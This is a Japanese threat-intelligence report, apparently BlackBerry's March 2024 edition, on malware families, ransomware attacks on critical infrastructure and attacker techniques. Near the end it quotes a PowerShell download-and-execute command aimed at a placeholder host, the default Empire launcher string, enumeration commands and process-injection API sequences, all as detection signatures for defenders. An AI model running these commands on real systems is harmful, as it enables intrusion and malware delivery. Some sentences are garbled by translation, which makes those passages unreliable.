BlackBerry 四半期グローバル脅威レポート - 2024年3月

2023年9月から12月にかけて、BlackBerry サイバーセキュリティ・ソリューションは520万件以上のサイバー攻撃を阻止しました。この報告期間は前回よりも長くなっていますが、1日あたりのデータを見ると、この期間に阻止されたサイバー攻撃は前回よりも19%増加しています。

さらに、当社の顧客を標的としたユニークなマルウェアサンプルが1日平均約5,300件、合計630,000件以上記録されていることが確認されており、これは前回の報告期間よりも27%増加しています。

図2はまた、BlackBerry サイバーセキュリティ・ソリューションがユニーク・マルウェア・ハッシュ数を最も多く記録した5カ国を示しています。1位は米国で、ユニーク・マルウェアの割合が最も高くなっています。ユニーク・マルウェアの割合が最も高かった2位、3位、4位は、すべてアジア太平洋地域でした。2位は韓国、3位は日本、4位はオーストラリアでした。カナダは2期連続で5位でした。

上の図2を見ると、国ごとに阻止された攻撃の総数は、記録されたユニーク・ハッシュの数と必ずしも相関しないことは明らかである。

この結果の背景には、攻撃者の動機、攻撃の複雑さ、攻撃の目標など、さまざまな要因がある。攻撃者は、ある国（または特定の業界）の一般大衆を標的にし、スパムキャンペーンを利用して大衆を標的にするという目標を持つかもしれません。ハッシュは非常に簡単にリハッシュすることができ、ファイルの悪意のあるコードの実行には影響しませんが、ファイルのユニークなハッシュアルゴリズムを変更することで、マルウェア対策スキャナには異なるように見えます。

攻撃者はまた、より汎用的な、あるいは「既製品」のマルウェアやツールを使用して、広範囲に被害を及ぼすこともある。しかし、少人数のグループ、業界、または個々の企業に焦点を絞る場合もあります。ハイパーターゲットの場合、脅威行為者は、関心のある企業の従業員個人を標的にすることがあります。このような悪意のある行為者は、ディープフェイクを作成するためのジェネレーティブAIソフトウェアを使用することで、非常に特殊で一般的に価値の高いターゲットに対して、よりユニークなツールや戦術を展開する可能性もあります。

上の図3では、阻止された攻撃の総数と発見されたマルウェアのユニークなハッシュ数が、前回の報告期間から今回の報告期間まで、国別にどのように変化しているかを示しています。

• 米国、日本、ペルーの3カ国は、全体的な攻撃阻止数では変わらないが、ユニーク・マルウェアのランキングでは、韓国が日本を抜いて3位から2位に上昇した。
• さらに、アジア太平洋地域では、オーストラリアが、この報告期間中に停止した攻撃の多くに新規参入し、米国に次いで第2位となった。オーストラリアは、顧客のシステムを標的としたユニークなハッシュの数で4位にランクされました。      
• BlackBerryの遠隔測定によると、カナダを拠点とする企業による攻撃は今期減少し、2 位から 5 位にランクダウンしました。この報告期間中の弊社独自のマルウェアデータでは、カナダは5位を維持しています。

オーストラリアが最近、最も攻撃を阻止したトップ5に入ったのは、最近の地政学的な出来事からきているのかもしれない。2023年11月、オーストラリア信号局（ASD）は2022-2023年年次サイバー脅威報告書を発表し、オーストラリアの政府、企業、個人が直面するサイバー犯罪の主な傾向を明らかにした。その報告書の中でASDは、原子力潜水艦やその他の高度な軍事能力に焦点を当てたAUKUSパートナーシップを、"自国の軍事計画のために知的財産を盗もうとする国家行為者の標的になる可能性が高い "と指摘した。 さらにASDのディレクターは、オーストラリアが「軍事的能力を高めるにつれ、他のアクターが興味を持つ分野という点で、注目されることは明らかだ」と述べた。

ASDはさらに、2023年にオーストラリア全土の個人や企業から法執行機関にサイバー犯罪行為の報告が94,000件近く寄せられ、前年度から23%増加したことを報告し、ランサムウェアだけでも毎年オーストラリア経済に最大30億ドルの損害を与えていることを明らかにした。サイバー攻撃の標的となったオーストラリアの中小企業の損失額は、昨年、1企業あたり平均約46,000ドルで、前年度の30,000ドルを上回った。

この急増するサイバー活動に対抗するため、ASDは個人や中小企業に対する主要なサイバー脅威を特定した「今すぐ行動し、安全な状態を保つ」サイバーセキュリティ啓発キャンペーンの開始を発表した。このキャンペーンでは、「あまりにも長い間、オーストラリアの市民や企業は、世界的なサイバー脅威から自らを守るために放置されてきた」と述べ、サイバー脅威に対処するために「今すぐ行動する」必要性を強調し、「2030年までにサイバーセキュリティの世界的リーダーになる」という大胆なビジョンを打ち出した。

重要インフラ

重要インフラは現代社会のバックボーンであり、その機能のあらゆる側面に不可欠である。実際、米国を拠点とするCISAは、16の異なるセクターを重要インフラの傘下に置くと定義している。これらには、輸送、医療、エネルギー、通信、金融、防衛、産業部門、その他いくつかの分野が含まれる。

これらのセクターのシステムや資産は、相互接続されたデジタル環境の中で一体となっているため、さまざまな動機でセキュリティの設定ミスや脆弱性を悪用しようとするサイバー脅威行為者の矢面に立たされることが多い。

これは、前回の報告期間を通じて明らかだった。 CylanceENDPOINT^™byBlackBerry 、その他のBlackBerry サイバーセキュリティ・ソリューションは、重要インフラの様々なセクターに対する200万件以上の攻撃を阻止し、金融セクターだけでも100万件以上の攻撃を経験している。

さらに、政府および公共部門は、最も多様な攻撃の広がりを経験しており、ユニーク・ハッシュの36％以上がこの部門を標的としていた。

このような多様なセクターを標的とするサイバー脅威は、大規模な混乱を引き起こし、それぞれの事業体の重要な資産、システム、ネットワークを無力化または侵害する可能性がある。その結果、攻撃の規模や国の経済発展、生活水準にかかわらず、国の経済安全保障、公衆衛生、社会的安定に深刻な影響を及ぼす可能性がある。

BlackBerry この報告期間中、当社の内部遠隔測定において、さまざまなセクターを標的にするマルウェア・ファミリーが複数確認されました：

PrivateLoaderはC++で書かれた悪意のあるダウンローダー・ファミリーで、2021年に初めて発見されて以来、継続的に観測されています。このマルウェアは多くの場合、被害者のデバイスへの情報窃取者の展開を容易にするために使用されます。私たちの遠隔測定によると、PrivateLoaderはこの報告期間内に、金融サービス、食品、農業、政府施設に関連するシステムを標的にしようとしていることが確認されています。  

PrivateLoaderは、さまざまな複雑さを持つ悪意のあるペイロードを幅広く配布することで知られています。このマルウェアの配布ネットワークは、アンダーグラウンドのペイ・パー・インストール（PPI）サービスによって管理されており、マルウェアとそのインフラの継続的な使用と開発に資金を提供しています。

RiseProは、2022年以降に野放しになっているコモディティ情報窃取ツールです。PrivateLoaderのIoC（indicator of compromise）の調査を通じて、RiseProを含め、いくつかのサンプルがその配布サービスを通じてマルウェアの展開を試みていることに気づきました。被害者のデバイスに侵入すると、RiseProはコマンド・アンド・コントロール（C2）との通信を試み、個人情報や機密データを不正に取得してから攻撃者のサーバーに送信します。この盗まれたデータは、別の悪意のある第三者に売却されたり、被害を受けた被害者を標的とした二次的な活動に使用されたりする可能性があります。

SmokeLoaderは、以前の報告期間にもBlackBerry によって指摘されていた多目的マルウェアです。このマルウェアは、独立したバックドアとして動作しますが、他のマルウェアの配信メカニズムとして使用されることもよくあります。SmokeLoaderは、標的のデバイスに侵入する前に、フィッシング文書やリンクを通じて不注意にダウンロードされることがよくあります。このマルウェアは、この報告期間中、エネルギー・セクターを標的としていることが確認されています。

報告期間中、ウクライナの国家サイバーセキュリティ調整センター（NCSCC）では、SmokeLoaderに関連する攻撃が急増し、政府機関も標的となりました。SmokeLoaderが非常に強力なのは、被害者のデバイス上に他のさまざまなマルウェアを展開する能力があることです。

SmokeLoaderは過去に、Amadey、RedLine、Vidarなどの多数の情報窃盗犯をドロップすることで知られていますが、さらにランサムウェアの配信メカニズムとしても機能します。8Baseランサムウェアの背後にいる脅威グループは、以前SmokeLoaderを使用してPhobosランサムウェアの亜種を配布したことがある。

PikaBotは2023年初頭に出現したステルス性の回避型マルウェアで、1年を通して目立つ脅威となっている。このモジュール型マルウェアは、トロイの木馬 QakBotと多くの類似点を持ち、C2 からさまざまなコマンドを受け取ることができます。この報告期間中、PikaBotは政府機関や エネルギー部門を基盤とするエンティティで確認されました。

PikaBotは永続的であり、複数のアンチサンドボックス/アンチ解析チェックを含む、脅威研究者による分析を防ぐための多数の機能を備えています。被害者のデバイスに侵入すると、マルウェアはコマンドを受信して実行し、貴重なデバイス情報を収集したり、C2から受信した命令を実行したりします。

コモディティ・インフォステーラーもまた、今四半期を通じて緩やかに活動している。多くの情報窃取者はMaaSとして販売され、大規模なキャンペーンに利用されている。

LummaStealer (LummaC2)は、被害者のデバイスから個人情報や機密データを抜き取ることに特化したCベースの情報窃取ツールです。LummaStealerは、暗号通貨ウォレットのデータや2要素認証（2FA）ブラウザ拡張機能のデータを取得する顕著な能力を持っています。報告期間中、LummaStealerは、金融機関や 政府機関を標的としたBlackBerry 。

レコードブレーカーラクーンスティーラー)は、2022年に中心的な脅威グループのメンバーが逮捕されたため、一時的に停止された、広く配布されているもう1つの情報窃盗犯である。しかし、このグループは2023年半ばにアップデート版で復活しました。当社の遠隔測定では、RecordBreakerが医療機関を標的にしていることが、この報告期間とその前の報告期間の両方で記録されています。

レッドライン infostealerは、これまでのレポートを通じてBlackBerryで最も観測されている脅威の1つです。この.NETコンパイルされたステーラーは、クレジットカード情報や暗号通貨ウォレットを中心に、複数のソフトウェアやデジタルプラットフォームからクレデンシャルをスクレイピングして盗み出すことに強い焦点を当てています。 

RedLineは、アンダーグラウンドのフォーラムを通じて、サブスクリプションまたはスタンドアロン製品として、比較的安価な価格で広く販売されています。このマルウェア・ファミリーは、この報告期間中、主に通信および政府機関を標的としていました。

この報告期間中、より広範なサイバー脅威の状況も非常に活発で、世界中の重要インフラ組織に対する注目すべき攻撃が数多く目撃された。

10月中旬、イリノイ州を拠点とするモリソン・コミュニティ病院は、そのダークウェブサイトに登場したBlackCat/ALPHVランサムウェア一味による侵害の被害者とされた。同病院は数週間後、9月下旬に "無許可の第三者が当病院のネットワーク環境にアクセスした "というインシデントに見舞われたとするセキュリティ通知をサイト上で発表した。しかし、攻撃者の名前や、ロックされたファイルや盗まれたファイルについては言及していない。 

11月、スロベニアの国営エネルギー企業Holding Slovenske Elektrarne（HSE）がランサムウェア攻撃の被害にあった。同国のエネルギー生産の約60％を供給しているため、侵入とファイルの暗号化によって発電や出力に支障が出なかったのは幸運だった。

この事件の攻撃者は公式には名指しされていないが、Rhysidaランサムウェア・グループが犯人だった可能性がある。このグループは、数週間後にウェブサイトでHSEの被害を訴えた。

11月にもまた、国営企業がランサムウェア集団の攻撃と侵害を受けたというニュースが飛び込んできた。今回は、主に国営の電気通信サービス会社で、1ヶ月前にRansomEXXギャングによる攻撃の被害にあっており、最大6GBのデータが盗まれていた。その中には、個人を特定できる情報（PII）も含まれていた。また、100万人以上の顧客情報を含むCSVデータファイルがダークウェブ上に流出したとの報告もあった。

RansomEXX（別名DefrayおよびDefray777）は、2018年に初めて確認されたランサムウェアファミリーです。このマルウェアファミリーにはWindowsとLinuxの両方の亜種があり、政府機関や製造業者に対する著名なエクスプロイトで使用されたことが目立っています。RansomEXXはランサムウェア・アズ・ア・サービス（RaaS）モデルとして実行され、プログラミング言語Rustで書かれたRansomEXX2という亜種が2022年に表面化しました。

米国では2023年11月28日、CISAが「ユニトロニクスのプログラマブル・ロジック・コントローラ（PLC）を積極的に悪用している」とし、注意喚起を行った。これらは上下水道施設で使用されるコンピュータである。同警告は、この種の施設がサイバー脅威者に積極的に狙われていることを明記し、他の上下水道施設に対し、推奨されるすべてのガイドラインと予防措置に従うよう勧告した。

グローバル脅威インテリジェンス・レポートの2023年11月号で紹介した活動の続きとして、2024年2月にFBIによる摘発が試みられたにもかかわらず、LockBitギャングが重要なインフラ組織を標的にし続けています。2023年のクリスマスイブには、ロックビット・ギャングがドイツの病院ネットワークKatholische Hospitalvereinigung Ostwestfalen gGmbH (KHO)に対する攻撃に関与していました。早朝の攻撃はファイル・データの侵入と暗号化に成功し、KHOの3つの異なる病院のサービスに深刻な混乱をもたらした。

LockBit ギャングはまた、CVE-2023-4966（Citrix Bleed 脆弱性）の悪用を利用して、重要インフラストラクチャ内の他の組織やセクターを標的とし、最初のアクセスを獲得していました。この結果、米国政府は合同サイバーセキュリティ勧告（CSA）を発行し、組織にパッチを適用し、推奨されるすべての緩和ガイドラインとベストプラクティスに従うよう勧告しました。

過去に LockBit の被害に遭われた方々のために、ファイル復元ツールが提供されています。FBI、欧州刑事警察機構（ユーロポール）、日本警察、国家犯罪対策庁が協力し、これらのツールを「No More Ransom」ポータルで利用できるようにしました。

特に製造業と小売業を中心とする商業企業は、この4ヶ月間に数多くの攻撃の標的となった。

11月、イスラエルの小売業者がハクティビスト集団「サイバー・トゥーファン」による攻撃を受け、イスラエルのホスティング会社「シグネチャー-IT」も攻撃を受けたと報じられている。2023年11月以来、ガザで進行中のイスラエルとハマスの紛争を背景に、このグループはイスラエルの標的に対して数百回に及ぶサイバー作戦を開始したと伝えられている。Signature-ITの攻撃により、IKEAのような多くのグローバル小売業者が大きな影響を受けた。彼らのTelegramチャンネルへの投稿で、グループは150人以上の犠牲者を出したと主張した。彼らは1,000以上のサーバーと重要なデータベースを消去し、破壊したと報告されている。  

12月に入り、企業にとって最大の脅威は往々にして自己満足であることを思い知らされた。Real Estate Wealth Network（不動産ウェルス・ネットワーク）がホスティングしていた保護されていないインターネットアクセス可能なデータベースが悪意ある行為者に発見され、略奪されたのだ。このデータベースには、不動産所有者名、売却者名、投資家情報を含む1.16TB（約15億レコード）のデータがあった。このデータベースは、政府関係者の住所や債務情報までも含む、米国の不動産データの中心的コレクションである。

このような攻撃の被害者は、ランサムウェア犯罪グループの目的によって異なる。2023年末、アパレル、フットウェア、衣料品メーカー最大手の1つであるVF Corporationが、ALPHV（BlackCat）ランサムウェアグループの攻撃を受けた。現時点では調査は未解決だが、ノースフェイス、ティンバーランド、バンズといったブランドの顧客3,550万人分のデータが盗まれたことが確認されている。

世界経済フォーラムの「2024年グローバルリスク報告書」は、サイバーセキュリティの脅威を「今後2年間に予想される最も深刻なグローバルリスク」に位置づけている。人工知能（AI）の活用を含め、ますます洗練された技術で武装したサイバー攻撃は、非常に破壊的であり続け、ますます重要なインフラを標的にするというのがコンセンサスである。 

BlackBerry テレメトリは、重要インフラ事業体がこの報告期間中に多くの攻撃に直面したことを示している。攻撃はますます巧妙化し、AIが生成したものを含む新奇なマルウェア技術の使用は、重要インフラを麻痺させるリスクを高めている。世界各国政府は、重要インフラのサイバー耐性を高めることを目的とした一連の対策を開始しており、特にAIの悪意ある使用に関連するリスクへの対策に重点を置いている。

各国政府は、AIが重要インフラシステムの運用効率を高めるなど、大きな可能性を秘めていることを認識しているが、一方で、重要インフラにAIベースのシステムを導入することで効率を最適化しようとする動きが、安全保障に深刻なリスクをもたらすことを懸念する声も多い。

このような事態を防ぐため、各国政府は産業界に対し、ますます強力になるAIモデルを開発・導入する際にはセキュリティを優先するよう求めている：

「インターネットの誕生からソフトウェアの大量導入、ソーシャルメディアの台頭まで、この40年間、私たちは、企業がセキュリティよりも市場投入までのスピードや機能を優先するあまり、安全性やセキュリティが後回しにされるのを目の当たりにしてきた。AIソフトウェアの開発と実装は、セキュリティを犠牲にしたスピードのサイクルを断ち切らなければならない。"

-AIのためのCISAロードマップ

世界各国の政府は、強力なAIシステムの開発と使用に対する「デフォルトで安全な」アプローチを奨励する指針の開発と発行を急いでいる。英国、カナダ、EU、G7といった他の国や政治連合も、高度なAIシステムの責任ある開発と使用に関するガイドラインを発表した。これには、世界20カ国以上のサイバーセキュリティ機関によって承認された共同ガイドラインが含まれ、AIシステムの構築者は、システムのライフサイクル全体を通じてセキュリティを優先する方法で、AIシステムの設計、開発、配備、運用について十分な情報を得た上で意思決定を行う必要があることを強調している。

また、バイデン米大統領は2023年10月、「安全、安心、信頼できる人工知能」に関する大統領令（EO14110）を発表し、特にCISAに対し、AIの導入が重要インフラシステムを障害、物理的攻撃、サイバー攻撃に対してより脆弱にする可能性がある方法など、重要インフラ分野におけるAIの使用に関連する潜在的なリスクを評価するよう指示した。  

2023年11月、BlackBerry はマレーシア政府との画期的なサイバーセキュリティ契約を発表し、マレーシアのセキュリティ態勢を強化するため、信頼できるBlackBerry サイバーセキュリティ・ソリューションの完全なスイートを活用できるようにした。この取り組みの一環として、BlackBerry 、SANS Instituteと提携し、2024年にマレーシアの首都クアラルンプールに最先端のサイバーセキュリティ・センター・オブ・エクセレンス（CCoE）を開設する。CCoEは、マレーシアのサイバーセキュリティ能力と即応性を高めるための専門トレーニングを提供する。BlackBerry 、マレーシアのサイバーセキュリティ学習エコシステム（特にAIと機械学習の分野）の構築を支援し、マレーシアのサイバーセキュリティ人材の成長とスキルアップを支援するとともに、インド太平洋地域をより安全にすることに興奮している。

カナダのジャスティン・トルドー首相は、「サイバーセキュリティは、この地域における平和、安全、協力の促進を目指すカナダのインド太平洋戦略の重要な柱である。サイバーセキュリティは国際協力を必要とする共通の課題であり、だからこそ我々は、カナダの重要な二国間パートナーであるマレーシアのサイバーセキュリティセンター・オブ・エクセレンス（BlackBerry ）を強く支援している。マレーシアの将来のサイバー防衛者を支援し、カナダと東南アジアの間で専門知識を共有するためのより強力な地域ネットワークを確立することで、我々は両国とより広い地域のサイバー脅威に対抗し、抑止し、対応するための弾力性と能力をさらに強化することができる"

報告期間中、政府や企業はネットワークの脆弱性について常に注意を喚起された。2023年9月、中国のハッカーがマイクロソフトの電子メール・プラットフォームに侵入し、米国務省のアカウントから数万件の電子メールを盗み出したことが明らかになった。これは、商務省を含む他の米国政府を標的とした同様の攻撃に関する以前の報告に続くものであった。最近では、グローバル・アフェアーズ・カナダに勤務するカナダ当局が "長期にわたるデータ・セキュリティ侵害"に見舞われたことも明らかになった。

カナダのサイバーセキュリティセンターが最新の「国家サイバー脅威評価」で強調したように、重要インフラはますますサイバー脅威の危険にさらされている。国家に支援された行為者はこれらのシステムへの侵入を積極的に試みており、AIなどの破壊的技術が新たな脅威を可能にする可能性もある。本レポートで指摘されているように、オーストラリアでも、オーストラリア第2位の電話会社オプタスや最大の民間医療保険会社メディバンクなど、重要インフラに対する複数の著名なサイバー攻撃に見舞われた。

産業界もこのような脅威と無縁ではなく、2023年にはこの脅威に対処するための新たな規制が登場した。例えば、2023年12月には、上場企業に対し、「重要な」サイバーインシデントを4日以内に米国証券取引委員会に開示することを義務付ける新しい規則が施行された。欧州では最近、EUがサイバー・レジリエンス法を可決し、EU域内で販売されるデジタル要素を含むハードウェアおよびソフトウェア製品に対する新たなサイバーセキュリティ要件を定めた。これは、重要インフラ事業体のサイバーセキュリティの脆弱性に対処するために、EUのネットワークおよび情報セキュリティ指令の更新で要求される追加措置に追加されるものである。

最後に、オーストラリアは2023年11月に「サイバーセキュリティ戦略」を発表し、重要な情報を保護し、脅威情報を共有し、安全でセキュアなテクノロジー製品の利用を促進するための「国を挙げての」アプローチを呼びかけた。

進化し続ける脅威の状況に直面し、BlackBerry は一貫して、レガシー・テクノロジー（VPN など）を、デバイスのセキュリティ・ポスチャーを継続的に評価し、サイバー攻撃を未然に防ぐ最新の「ゼロトラスト」ベースおよび AI 駆動のサイバーセキュリティ・ソリューションに置き換えることで、セキュリティを近代化する必要性を訴えてきた。ゼロトラスト・アプローチを採用する予防第一のサイバーセキュリティ・テクノロジーは、脅威者が従来のITセキュリティやレガシーなITセキュリティをすり抜ける、より洗練された方法を開発するにつれて、ますます重要になる。 

今後1年間、ますます巧妙化するサイバー攻撃による脅威はエスカレートしていくだろう。世界中の民主主義国の政府関係者が特に懸念しているのは、悪意ある行為者が民主主義のプロセスを混乱させるためにデジタル技術をどの程度利用するかということである。世界64カ国の人口の49％が投票に向かうとされる2024年、選挙プロセスやインフラも格好の標的になりかねないと警鐘を鳴らし始める専門家もいる。米政府CISAのジェン・イースタリー局長は、「ジェネレーティブAIはサイバーセキュリティのリスクを増幅させ、偽コンテンツで国を氾濫させることをより簡単、迅速、安価にする」と警告している。

この技術がかつてないほど利用しやすく強力になった今、その悪意ある使用は、中国、イラン、ロシアを含むアメリカの民主主義を弱体化させようとする悪意ある行為者に、その戦術を強化する能力を与えることで、アメリカの選挙プロセスの安全性を試す態勢を整えている。

Common Vulnerabilities and Exposures (CVE)システムは、The MITRE Corporationによって管理されており、公に知られている脆弱性と暴露に関する情報のカタログである。CVEシステムは、米国国土安全保障省（DHS）とCISAが後援している。

この報告期間中、^Cisco®、^Apache®、^Citrix®、および^JetBrains®製品で発見された新たな脆弱性が増加しました。これらの脆弱性に対する緩和策はすでに公表されていますが、特定の脅威行為者は、依然としてパッチの適用されていないシステムを最大限に利用しています。

脅威グループのハイレベルなテクニックを理解することは、どの検知テクニックを優先すべきかを決定する際に役立ちます。BlackBerry 、この報告期間中に脅威行為者によって使用されたMITREのテクニックのトップ20は以下の通りです。

最後の欄の上向きの矢印は、前回の報告書から技の使用量が増加していることを示す。下向きの矢印は、前回のレポートから使用率が減少したことを示す。イコール（=）の記号は、そのテクニックが前回のレポートと同じ位置にあることを意味する。

プロセス・インジェクションは、悪意のあるコードが実行中の他のプロセスのアドレス空間内に配置される場合に発生する、一般的に悪用される防御回避テクニックである。

以下は、プロセスに注入することで悪用できる一連のWindowsネイティブ関数である。

順番に呼び出される機能（攻撃によって異なる）：

• VirtualAlloc(Ex) - プロセスにメモリを割り当てる
• WriteProcessMemory() - 割り当てられたメモリに悪意のあるコードを書き込む。
• VirtualProtect - 実行可能パーミッションでメモリを再保護する
• CreateRemoteThread() - 別のプロセスのコンテキストで悪意のあるコードを実行する。

攻撃者はカスタム情報窃取ソフトウェアを利用し、グラフィカル・ユーザー・インターフェース(GUI)の監視や、キー入力のロギングを通じて、侵害されたシステムへのユーザーの入力を記録する。

BlackBerry その結果、あらゆる形式の入力キャプチャを実行している異常なプロセスを監視することで、脅威を特定し、修正することに成功した。

BlackBerry が「異常」と定義する一般的な動作には、無効なシグネチャ、非典型的な親プロセスからスポーンする子プロセス、特定の Windows API 関数呼び出しなどが含まれる。

監視する関数呼び出し：

• SetWindowsHook(Ex) - デスクトップ上の入力などのイベントを監視する
• GetKeyboardState() - 仮想キーの現在の状態を取得する
• GetKeyState() - 仮想キーの現在の状態を取得する
• GetAsyncKeyState() - 仮想キーの現在の状態を取得する

侵害されたシステムからシステム情報を列挙することは、特権をエスカレートしてシステムに無制限にアクセスするために、弱点と潜在的な悪用ベクトルをさらに特定するためのコンテキストを脅威行為者に提供する可能性があります。

ネットワーク全体に共通する動作のベースラインを作成し、異常値を監視することで、サイバーセキュリティの専門家は異常を観察することができる。

Windows Management Instrumentation (WMI)を悪用することで、脅威者はアンチウイルス・ソフトウェア、論理ディスク、ユーザーに関する情報を特定し、攻撃者が悪用するためのピボット・ポイント、つまり関心/弱点となる領域を特定することができる。しかし、このような呼び出しは、大多数のユーザーにとっては比較的型破りなものです。その発生を監視することで、被害者システム上の悪意ある行為者やマルウェアを特定できるかもしれません。

以下は、監視に役立つコマンドラインである：

• SELECT * FROM AntiVirusProduct - システム上に存在するアンチウイルス製品を列挙するWMIコマンドライン
• wmic OS get OSArchitecture, Version - WMI を使用してシステムのバージョン情報を列挙します。
• systeminfo - ユーザーにシステム情報を提供する
• driverquery /v - システムにインストールされているドライブを一覧表示します。

攻撃者は、ダイナミック・リンク・ライブラリ（DLL）の検索順序を利用して、独自の悪意のあるコードを実行する可能性があります。攻撃者は、悪意のあるペイロードと被害者の正当なアプリケーションを並べることで、これを行います。その後、正規の実行ファイルが実行されると、攻撃者によってシステムの通常の検索順序が利用されている間に、悪意のあるバイナリがロードされます。

さらに、Windows Side-by-Side（SxS）やシステムフォルダのようなシステムロケーションを注意深く監視し、DLLの削除や交換を行う必要がある。これは、より高度な敵対者が最新のアンチウイルス／エンドポイント検知応答（EDR）ソリューションを回避しようとする動きである。

DLLのサイドローディングを特定する一般的な方法は、ごみ箱、一時フォルダ、通常のシステムパスなどの異常な場所からロードされるモジュールを監視することである。

アプリケーション層以外のプロトコルを使用することで、敵対者は悪意のある行動を検知するために成熟し、微調整された防御を回避しようとします。ミティゲーションと予防の観点から、ICMP のような一般的でないプロトコルは、C2 の通信を監視する必要があります。

BlackBerry の顧客が取ることのできる安全でリスクを軽減したアプローチは、ネットワーク・レイヤー上の特定の文字列を監視するカスタム・ルールを作成し、それらのルールをより高度な振る舞い検知ルールと組み合わせて使用することである。十分なセキュリティ・プレゼンスと組み合わせて予防策を重ねることで、BlackBerry の顧客も防御者も同様に、攻撃に対する感受性を低下させ、セキュリティ意識を高めることができる。

前回のレポートで、CylanceGUARD チームは、BlackBerry が顧客を持つすべての地域で、「共通ファイルアーカイブの流出ステージング」手法が悪用されていることを発見しました。しかし、今回の報告期間では、すべての地域で PowerShell が検出されるパターンを記録しました。

EMEA および NALA 地域において、CylanceGUARD チームは、PowerShell Empire に関連する検出の増加に気付きました。"Possible Empire Encoded Payload "です。PowerShell Empireはオープンソースのポストエクスプロイトフレームワークで、攻撃者と正当な侵入テスター/レッドチームの両方によって一般的に使用されています。

Empireフレームワークは、基本的にPowerShellスクリプト言語を使用してWindows環境を標的にすることに重点を置いている。これにより、攻撃者は被害者のマシンと通信し、C2サーバーからコマンドや情報を送受信することができる。

エンパイアの初期の指標は、次のようなコマンドの検出である：

"powershell -nop -sta -w 1 -enc." これはEmpire HTTP Listenersのデフォルトの起動文字列です。

攻撃者がこの値を変更したり、難読化したりすることは些細なことであることに注意されたい。しかし、多くの場合、この値は変更されないため、検知チームやセキュリティ・オペレーション・センター（SOC）アナリストにとって効果的なシグネチャとなる。

APAC 地域では、クレデンシャルアクセス（TA0006）から実行（TA0002）へと、最も一般的に観測される脅威が変化しています。PowerShell は、今回も検出された脅威の中で大きな存在感を示しています。MITRE の関連技術として、コマンドおよびスクリプトのインタープリタが観測されました：PowerShell(T1059.001)でした。調査中、脅威行為者によって最も一般的に使用されたパターンは、ダウンロードクレードル（ダウンロードとコード実行の両方に使用される単一のコマンド）でした。

例えば、こうだ：

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('hxxp://x.x.x.x/test[.]exe')

- これは、可能性のあるC2サーバーからtest.exeファイルをダウンロードして実行する。

私たちの顧客環境でPowerShellが大量に検出されるパターンは、組織がPowerShellに関連する不正使用を制限するために適切な可視化と制御を確実に行うことの重要性を浮き彫りにしています。

CylanceGUARD オファリングの一環として、当社のオンボーディング・チーム（^ThreatZERO®コンサルタント）はお客様と緊密に連携し、お客様のデバイスがスクリプト・コントロール・ブロック（SCB - PS）などの推奨ポリシーに配置されていることを確認し、PowerShellなどのユーティリティを悪用する攻撃者の能力を制限します。

この報告書は、才能あるチームと個人の共同作業の賜物である。特に、以下の方々に敬意を表します：

エイドリアン・チェンバース
アマルカント・ラベンドラン
デビッド・ヘガティ
ディーン・ギブン
ジェフ・オルーク
イスマエル・バレンズエラ・エスペホ
ジェイコブ・フェレス
ジョン・デ・ブール
クリストファー・バンデルクック
ナタリア・カッポーニ
ナターシャ・ローナー
パトリク・マティシク
ペドロ・ドリメル
ロナルド・ウェルチ
トラビス・ホクスマイヤー
ウィリアム・ジョンソン

BlackBerry Global Threat Intelligence Report に含まれる情報は、情報提供のみを目的としています。ブラックベリーは、本レポートで言及されている第三者の声明や調査の正確性、完全性、信頼性について保証するものではなく、責任を負うものでもありません。本レポートに記載された分析は、当社のリサーチアナリストによる入手可能な情報の現時点での理解を反映したものであり、追加情報が当社 に知らされた場合、変更される可能性があります。読者は、本情報を私生活および職業生活に適用する際には、各自で十分な注意を払う責任があります。BlackBerry は、本レポートに掲載された情報の悪意ある使用または誤用を容認するものではありません。